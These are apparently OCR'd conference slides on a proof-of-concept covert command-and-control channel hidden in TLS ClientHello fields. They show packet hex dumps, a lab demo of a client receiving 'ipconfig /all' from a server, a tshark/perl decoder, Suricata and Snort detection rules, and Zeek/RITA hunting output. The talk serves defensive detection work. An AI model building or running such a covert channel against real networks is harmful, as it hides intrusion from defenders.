	Cipher Suite: Reserved (GREASE) (0x0a0a)				0000 00 0c 29 26 19 3e 00 50 56 c0 00 08 08 00 45 00 ..)&>P V.....E
	Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)				0010 01 53 92 94 40 00 80 06 7b 39 c0 a8 b5 01 c0 a8 S@...{9.....
	Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303)				0020 b5 84 c2 11 22 53 42 5e ae a5 4c 60 fc b4 50 18 ...SBA^`L`-P..
	Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)				0030 00 ff e5 df 00 00 16 03 01 01 26 01 00 01 22 03&...".
	Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)				0040 03 0a 55 53 45 52 20 49 4e 46 4f 52 4d 41 54 49 ..USER INFORMATI
	Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)				0050 4f 4e 0d 0a 2d ON-----.
	Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)				0060 2d 20 2d 2d 2d 0d 0a 0d 0a 55 73 65 72 20 4e 61 ..-.....User Na
	Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa9)				0070 6d 65 20 53 49 44 20 20 20 20 20 20 20 20 20 20 me SID
	Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa8)				0080 20 20 00 40 0a 0a 13 02 13 03 13 01 c0 2c c0 30 ..@...,.0
	Cipher Suite: TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcccaa)				0090 00 9f cc a9 cc a8 cc aa c0 2b c0 2f 00 9e c0 24+./...\$
	Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)				00a0 c0 28 00 6b c0 23 c0 27 00 67 c0 0a c0 14 00 39 ..(.k-#.'g...9
	Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02f)				00b0 c0 09 c0 13 00 33 00 9d 00 9c 00 3d 00 3c 00 353...==<5
	Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)				00c0 00 2f 00 ff 01 00 00 99 00 0b 00 04 03 00 01 02 ./....
	Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)				00d0 00 0a 00 0e 00 0e da da 00 1d 00 17 00 1e 00 19[.....
	Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)				00e0 00 18 00 23 00 00 00 16 00 00 00 17 00 00 00 0d#....
	Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)				00f0 00 30 00 2e 04 03 05 03 06 03 08 07 08 08 08 09 ..0.....
	Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)				0100 08 0a 08 0b 08 04 08 05 08 06 04 01 05 01 06 01
	Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)				0110 03 03 02 03 03 01 02 01 03 02 02 04 02 05 02
	Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)				0120 06 02 00 2b 00 0b 0a 0a 0a 03 04 03 03 03 02 03 ..+....
	Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)				0130 01 00 2d 00 02 01 01 00 33 00 26 00 24 00 1d 003.&\$...
	Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)				0140 20 26 26 3c e5 d8 23 1d bc bd d6 9a 8e c9 89 77 &&<...#....w
	Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x003d)				0150 d4 a8 ad 55 5e fb 22 67 2e 22 77 ed 40 48 6e d8 ..U^."g ."w@Hn
	Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x003c)				0160 44 D
	Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)				
	Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)				
	Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)				
Compression Methods Length: 1					
►	Compression Methods (1 method)				
Extensions Length: 153					
►	Extension: ec_point_formats (len=4)				
▼	Extension: supported_groups (len=14)				
	Type: supported_groups (10)				
	Length: 14				
	Supported Groups List Length: 12				
▼	Supported Groups (6 groups)				
	Supported Group: Reserved (GREASE) (0xdada)				
	Supported Group: x25519 (0x001d)				
	Supported Group: secp256r1 (0x0017)				

✓ Cipher Suites (32 suites)

- Cipher Suite: Reserved (GREASE) (0x0a0a)
- Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
- Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303)
- Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
- Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
- Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
- Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
- Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa9)
- Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa8)
- Cipher Suite: TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcccaa)
- Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
- Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
- Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
- Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
- Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
- Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
- Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)
- Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)
- Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x0067)
- Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
- Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
- Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
- Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
- Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
- Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
- Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
- Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
- Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
- Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
- Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
- Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
- Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)

Compression Methods Length: 1

> Compression Methods (1 method)

Extensions Length: 153

> Extension: ec_point_formats (len=4)

✓ Extension: supported_groups (len=14)

- Type: supported_groups (10)
- Length: 14
- Supported Groups List Length: 12
- ✓ Supported Groups (6 groups)
 - Supported Group: Reserved (GREASE) (0xdada)
 - Supported Group: x25519 (0x001d)
 - Supported Group: secp256r1 (0x0017)

0000	00	0c	29	26	19	3e	00	50	56	c0	00	08	00	45	00	...)&>P V.....E
0010	01	53	92	94	40	00	80	06	7b	39	c0	a8	b5	01	c0	a8
0020	b5	84	c2	11	22	53	42	5e	ae	a5	4c	60	fc	b4	50	18
0030	00	ff	e5	df	00	00	16	03	01	01	26	01	00	22	03&....
0040	03	0a	55	53	45	52	20	49	4e	46	4f	52	4d	41	54	49
0050	4f	4e	0d	0a	2d	USER INFORMATION										
0060	2d	20	2d	2d	2d	0d	0a	0d	0a	55	73	65	72	20	4e	61
0070	6d	65	20	53	49	44	20	20	20	20	20	20	20	20	20	User Name
0080	20	20	00	40	0a	0a	13	02	13	03	13	01	c0	2c	c0	30
0090	00	9f	cc	a9	cc	a8	cc	aa	c0	2b	c0	2f	00	9e	c0	24
00a0	c0	28	00	6b	c0	23	c0	27	00	67	c0	0a	c0	14	00	39
00b0	c0	09	c0	13	00	33	00	9d	00	9c	00	3d	00	3c	00	35
00c0	00	2f	00	ff	01	00	00	99	00	0b	00	04	03	00	01	02
00d0	00	0a	00	0e	00	0e	da	da	00	1d	00	17	00	1e	00	19
00e0	00	18	00	23	00	00	00	16	00	00	00	17	00	00	00	#
00f0	00	30	00	2e	04	03	05	03	06	03	08	07	08	08	09	0.

Decimal	Octal	Hex	Binary	Value	Description
013	015	0D	0000 1101	CR	carriage return

| detection & mitigation




A close-up photograph of a magnifying glass held over a document. The document features a large, dark fingerprint. The magnifying glass is positioned such that its lens is focused on the center of the fingerprint, making the ridges and valleys appear larger and more detailed. The background is slightly blurred, showing other parts of the document and the edge of the magnifying glass frame.

"Every contact leaves a trace"


slide idea from Alyssa Torres' Advanced Endpoint Investigations

| mitigation - tls inspection

| mitigation - tls inspection



mitigation - tls inspection



| mitigation - tls inspection



credits:

Daniel Roethlisberger @droe

Philipp C. Heckel <https://blog.heckel.io>

| mitigation - tls inspection



credits:

Maximilian Hils @mhils
<https://github.com/mitmproxy>

| demo mitigation

Name	Date modified	Type
ca.crt	10/23/2025 7:15 AM	Security Certificate
client.exe	10/23/2025 6:35 AM	Application
openssl-1.1.1-compiled-grease	10/21/2025 7:52 AM	File folder

as-DTE-winserver2019 - VMware Workstation

Select Administrator: PowerShell

```
PS C:\Users\DTAdmin\Downloads> .\client.exe 192.168.181.30 8787
[-] command from server random: }0.P].<.>.N.L...o.t...Tg4,.X..
' }0' is not recognized as an internal or external command,
operable program or batch file.
[-] failed to read from stdout pipe
```

File Home Share View

This ... Downloads Search Downloads

Name	Date modified	Type
openssl-1.1.1-compiled-grease	10/21/2025 7:52 AM	File folder
ca.crt	10/23/2025 7:15 AM	Security Certificate
client.exe	10/23/2025 6:35 AM	Application
mitmproxy-ca-cert.cer	10/30/2025 5:18 AM	Security Certificate

4 items 1 item selected 1.28 KB

5:54 AM 10/30/2025

as-ESFA-xubuntu20.04LTS - VMware Workstation

[Software Updater] Terminal - infosec@ubuntu:~

```
Terminal - infosec@ubuntu:~ 30 Oct, 04:54
```

File Edit View Terminal Tabs Help

Flows

[0/0] [TCP:1][showhost][transparent] [*:8787]

as-dfir-debian11 - VMware Workstation

Capturing from ens3 Applications Terminal dfir@dfir: ~/Downloads/poctlsc2

File Edit View Terminal Tabs Help

dfir@dfir: ~/Downloads/poctlsc2 x dfir@dfir: ~/Downloads/poctlsc2

```
dfir@dfir:~/Downloads/poctlsc2$ ip a | grep ens
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
   inet 192.168.181.30/24 brd 192.168.181.255 scope global no
prefixroute ens3
dfir@dfir:~/Downloads/poctlsc2$ ./server
[+] enter a less than 32 bytes server_random:
ipconfig /all
[stdin] custom server_random set
80A20DB1327F0000:error:0A000126:SSL routines::unexpected eof w
hile reading:ssl/record/rec_layer_s3.c:696:

```

Capturing from ens3

File Edit View Go Capture Analyze Statistics Telephone Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length
27	2025-10-30 11:53:59.385365022	192.168.181.30	192.168.181.10	TLSV1.3	78
28	2025-10-30 11:53:59.385475863	192.168.181.30	192.168.181.10	TCP	60
29	2025-10-30 11:53:59.385655648	192.168.181.30	192.168.181.10	TCP	60
30	2025-10-30 11:53:59.385766489	192.168.181.30	192.168.181.10	TCP	60

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface ens3
Ethernet II, Src: VMware_41:8e:5b (00:0c:29:41:8e:5b), Dst: VMware_d0:22:d3 (00:0c:29:41:8e:5b)
Internet Protocol Version 4, Src: 192.168.181.10, Dst: 192.168.181.30
Transmission Control Protocol, Src Port: 49952, Dst Port: 8787, Seq: 0, Len: 0

0000 00 0c 29 d9 22 d3 00 0c 29 41 8c 5b 08 00 45 02 ..) "...)A[..E
0010 00 34 56 a0 48 00 00 06 b8 a7 c0 a8 b5 0a c0 a8 4V @...
0020 b5 1e c3 20 22 53 f3 e1 cf 07 00 00 00 00 00 80 c2 ...
0030 fa f0 df 87 00 00 02 04 05 b4 01 03 03 08 01 01
0040 04 02 ..

ens3: <live capture in progress> Packets: 30 · Displayed: 30 (100.0%)

| detection - tls metadata analysis

PARKOUR



tshark

```
dfir@dfir:~/Downloads/poctlsc2/pcaps$ tshark -nnr c2.pcapng -Y "tls.handshake.type == 1" -T fields -e tls.handshake.ciphersuite -e tls.handshake.extensions_supported_group -e tls.handshake.random -e tls.handshake.session_id | perl -F'\t' -lae '$cs=$F[0]; $sg=$F[1]; $rand=$F[2]; $sid=$F[3]; $cs =~ s/^0x//; $sg =~ s/^0x//; $hex = substr($cs,0,1) . substr($sg,0,1); print chr(hex($hex)), pack("H*", $rand), pack("H*", $sid);' | head
`00000000000000000000000000000000
```

Windows IP Configuration

```
Host Name . . . . .
: Win11AEI
Primary Dns Suffix . . . . .
Node Ty
0e . . . . . . . . . : Hybrid
IP Routing Enabled: . . .
```



tshark

```
dfir@dfir:~/Downloads/poctlsc2/pcaps$ tshark -nnr c2.pcapng -Y "tls.handshake.type == 1" -T fields -e tls.handshake.ciphersuite -e tls.handshake.extensions_supported_group -e tls.handshake.random -e tls.handshake.session_id | perl -F'\t' -lae '
$cs=$F[0]; $sg=$F[1]; $rand=$F[2]; $sid=$F[3];
$cs =~ s/^0x//; $sg =~ s/^0x//;
$hex = substr($cs,0,1) . substr($sg,0,1);
print chr(hex($hex)), pack("H*", $rand), pack("H*", $sid);' | head
`
```

Windows IP Configuration



| detection - tls metadata analysis

| detection - tls metadata analysis

Handshake Type: Client Hello (1)

Length: 290

Version: TLS 1.2 (0x0303)

| suricata

```
alert tcp any any -> any 8787 (msg: "Possible TLS C2 - sus random in CH";
" flow:to_server,established; content:"|16 03|"; offset:0; depth:2; co
ntent:"|01|"; offset:5; depth:1; content:"|FCFCFCFC|"; offset:11; depth
:4; sid:10001; rev:1;)
```



| suricata

```
alert tcp any any -> any 8787 (msg: "Possible TLS C2 - sus random in CH  
"; flow:to_server,established; content:"|16 03|"; offset:0; depth:2; co  
ntent:"|01|"; offset:5; depth:1; content:" FCFCFCFC "; offset:11; depth  
:4; sid:10001; rev:1;)
```



```
ndfir@ndfir-box:~$ sudo suricata -r c2.pcapng -c /etc/suricata/suricata.yaml -S /etc/suricata/local.rules -l suricata_output/
2/11/2025 -- 13:40:13 - <Notice> - This is Suricata version 5.0.3 RELEASE running in USER mode
2/11/2025 -- 13:40:13 - <Notice> - all 3 packet processing threads, 4 management threads initialized, engine started.
2/11/2025 -- 13:40:13 - <Notice> - Signal Received. Stopping engine.
2/11/2025 -- 13:40:13 - <Notice> - Pcap-file module read 1 files, 7975 packets, 11121287 bytes
ndfir@ndfir-box:~$ cat suricata_output/fast.log
10/23/2025-10:17:41.478852 [**] [1:10001:1] Possible TLS C2 - suspicious random in CH [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.181.156:49812 -> 192.168.181.30:8787
10/23/2025-10:21:26.514640 [**] [1:10001:1] Possible TLS C2 - suspicious random in CH [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.181.156:49888 -> 192.168.181.30:8787
```



| detection - tls metadata analysis

| detection - tls metadata analysis

| snort

```
alert tcp any any -> any 8787 (msg:"Possible TLS C2 - sus sid in CH"; c  
ontent:"|16 03|"; offset:0; depth:2; content:"|01|"; offset:5; depth:1;  
content:"|00000000|"; offset:44; depth:4; sid:10000; rev:1;)
```



snort

```
ndfir@ndfir-box:~$ sudo snort -r c2.pcapng -c /etc/snort/snort.conf -A  
console  
Running in IDS mode
```

--== Initializing Snort ==--

```
10/23-10:17:41.478852  [**] [1:10000:1] Possible TLS C2 - sus sid in CH  
[**] [Priority: 0] {TCP} 192.168.181.156:49812 -> 192.168.181.30:8787  
10/23-10:19:45.043998  [**] [1:10000:1] Possible TLS C2 - sus sid in CH  
[**] [Priority: 0] {TCP} 192.168.181.156:49840 -> 192.168.181.30:8787
```



| zeek

version	cipher	curve	server_name	resumed	last>
bool	string	string	bool	string	vector[string]>
443	TLSv13	TLS_AES_256_GCM_SHA384		secp384r1	>
8787	TLSv13	TLS_AES_256_GCM_SHA384	x25519	-	>
443	TLSv13	TLS_AES_256_GCM_SHA384	secp384r1		>
443	TLSv12	TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384			>
443	TLSv13	TLS_AES_256_GCM_SHA384	secp384r1		>
443	TLSv13	TLS_AES_256_GCM_SHA384	secp384r1		>
443	TLSv13	TLS_AES_256_GCM_SHA384	secp384r1		>
443	TLSv12	TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384			>

⇄ zeek

| zeek

```
ritabeakerlab@ritabeakerlab:~$ cat conn.log | zeek-cut uid | sort -u | wc -l  
4622
```

 zeek

| zeek + rita

```
ritabeakerlab@ritabeakerlab:~$ rita import *.log tlsc2
Starting achunter_db ... done

Starting achunter_rsyslog ... done
```

```
ritabeakerlab@ritabeakerlab:~$ rita show-beacons tlsc2
Starting achunter_db      ... done
No results were found for tlsc2
```

| zeek + rita

```
ritabeakerlab@ritabeakerlab:~$ rita import *.log tlsc2
Starting achunter_db ... done
Starting achunter_rsyslog ... done
```


```
ritabeakerlab@ritabeakerlab:~$ rita show-beacons tlsc2
Starting achunter_db      ... done
No results were found for tlsc2
```


```
ritabeakerlab@ritabeakerlab:~$ rita show-strobes tlsc2
Starting achunter_db ... done
Starting achunter_rsyslog ... done
No results were found for tlsc2
```

not enough data, 14h pcap



THE WIRE - THE GREAT EQUALIZER





| wrap-up

- monitor your traffic

| wrap-up

- monitor your traffic
- what normal looks like

| wrap-up

- monitor your traffic
- what normal looks like
- network threat hunting

| wrap-up

- <https://github.com/haarlems>
- signal: haarlems.83
- bluesky/medium: haarlems
- twitter: haar1ems

Thank *you* for your time

Q&A

"YOU MISS 100% OF THE
SHOTS YOU DON'T
TAKE. - WAYNE GRETZKY"

- MICHAEL SCOTT



Trust your future self to figure it out